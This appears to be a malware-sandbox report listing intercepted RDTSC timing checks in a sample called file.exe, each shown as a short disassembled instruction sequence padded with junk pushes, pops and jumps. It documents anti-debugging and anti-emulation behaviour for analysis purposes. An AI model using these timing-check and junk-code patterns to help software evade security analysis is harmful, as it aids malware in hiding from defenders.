Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2BBB second address: 4B2BC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2D3C second address: 4B2D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F09F0F8B44Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2D62 second address: 4B2D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2EDC second address: 4B2EF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F09F0F8B446h 0x0000000e jp 00007F09F0F8B446h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B31B0 second address: 4B31B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5D68 second address: 4B5D78 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F09F0F8B446h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5D78 second address: 4B5D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA1B0 second address: 4BA1B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA466 second address: 4BA47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F09F0F95A06h 0x0000000a jmp 00007F09F0F95A0Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA47C second address: 4BA480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAA17 second address: 4BAA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAA1C second address: 4BAA30 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F09F0F8B44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAA30 second address: 4BAA3A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F09F0F95A06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAB75 second address: 4BABB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F8B458h 0x00000009 jl 00007F09F0F8B446h 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F09F0F8B459h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAE90 second address: 4BAEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A18h 0x00000009 jp 00007F09F0F95A06h 0x0000000f popad 0x00000010 pop edx 0x00000011 push edi 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01D second address: 4BB021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB4CA second address: 4BB4D4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F09F0F95A12h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BED8E second address: 4BED96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BED96 second address: 4BED9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BED9B second address: 4BEDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FAA second address: 4C2FB4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F09F0F95A12h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FB4 second address: 4C2FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FBA second address: 4C2FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F09F0F95A0Fh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FD8 second address: 4C2FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C32AD second address: 4C32C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F09F0F95A06h 0x00000010 jno 00007F09F0F95A06h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C32C3 second address: 4C32C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C32C9 second address: 4C32D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2CF1 second address: 4C2CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2CF5 second address: 4C2CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3A75 second address: 4C3A94 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09F0F8B446h 0x00000008 jmp 00007F09F0F8B455h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3BCC second address: 4C3BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F09F0F95A06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3BD8 second address: 4C3BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F09F0F8B459h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3BF6 second address: 4C3BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3FF6 second address: 4C4010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F09F0F8B446h 0x00000009 jnp 00007F09F0F8B446h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jbe 00007F09F0F8B446h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7899 second address: 4C78BB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F09F0F95A06h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F09F0F95A14h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C78BB second address: 4C790B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F09F0F8B45Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f js 00007F09F0F8B446h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push esi 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F09F0F8B459h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA42B second address: 4CA431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA431 second address: 4CA455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F09F0F8B455h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA455 second address: 4CA459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA459 second address: 4CA45F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBAF2 second address: 4CBB1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F09F0F95A14h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 443588 second address: 443594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F09F0F8B446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 443594 second address: 4435AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F09F0F95A06h 0x00000009 jmp 00007F09F0F95A10h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF189 second address: 4CF19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F8B44Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2916 second address: 4D291A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2ECE second address: 4D2ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2ED4 second address: 4D2EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303B second address: 4D3069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F09F0F8B456h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9B94 second address: 4D9B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8482 second address: 4D848F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F09F0F8B446h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D872F second address: 4D8739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D88F0 second address: 4D88F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8BAA second address: 4D8BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F09F0F95A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D98AE second address: 4D98B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D98B2 second address: 4D98CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A17h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D98CF second address: 4D98E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09F0F8B44Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1D09 second address: 4E1D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1D0E second address: 4E1D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFD66 second address: 4DFD6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFD6C second address: 4DFD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFD72 second address: 4DFD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F09F0F95A0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFD89 second address: 4DFDA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F09F0F8B44Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0646 second address: 4E065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F09F0F95A0Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E065E second address: 4E066E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F09F0F8B452h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E066E second address: 4E0674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0674 second address: 4E0682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007F09F0F8B446h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0682 second address: 4E068C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E19DA second address: 4E1A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F8B454h 0x00000009 jne 00007F09F0F8B446h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F09F0F8B456h 0x00000016 ja 00007F09F0F8B446h 0x0000001c jmp 00007F09F0F8B458h 0x00000021 popad 0x00000022 pop edx 0x00000023 push ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F09F0F8B459h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E652F second address: 4E6534 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6534 second address: 4E653A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E653A second address: 4E656F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F09F0F95A19h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F09F0F95A0Dh 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E954C second address: 4E9558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F09F0F8B446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9558 second address: 4E955C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E955C second address: 4E9560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E997E second address: 4E9984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9984 second address: 4E9988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9BCD second address: 4E9BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F09F0F95A06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D81 second address: 4E9D91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D91 second address: 4E9DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F09F0F95A12h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3318 second address: 4F333D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09F0F8B44Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F09F0F8B455h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F333D second address: 4F335E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F335E second address: 4F3362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F162C second address: 4F165D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jnl 00007F09F0F95A06h 0x00000010 pop edx 0x00000011 jo 00007F09F0F95A24h 0x00000017 jmp 00007F09F0F95A18h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F165D second address: 4F1661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1661 second address: 4F1683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F09F0F95A12h 0x0000000c popad 0x0000000d jo 00007F09F0F95A0Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1D71 second address: 4F1D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1D75 second address: 4F1D83 instructions: 0x00000000 rdtsc 0x00000002 je 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F204E second address: 4F206B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F09F0F8B44Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F09F0F8B44Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F206B second address: 4F2098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007F09F0F95A08h 0x0000000c jnc 00007F09F0F95A0Ch 0x00000012 pushad 0x00000013 jmp 00007F09F0F95A10h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1078 second address: 4F107E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F89DC second address: 4F8A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push esi 0x00000009 jo 00007F09F0F95A2Eh 0x0000000f jmp 00007F09F0F95A18h 0x00000014 jmp 00007F09F0F95A10h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F09F0F95A06h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8B3F second address: 4F8B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09F0F8B44Dh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8B53 second address: 4F8B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8B5E second address: 4F8B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F8B454h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A207 second address: 50A22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A0Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F09F0F95A0Ch 0x00000010 jl 00007F09F0F95A06h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A22F second address: 50A23E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09F0F8B44Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A23E second address: 50A244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EDF4 second address: 50EDF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
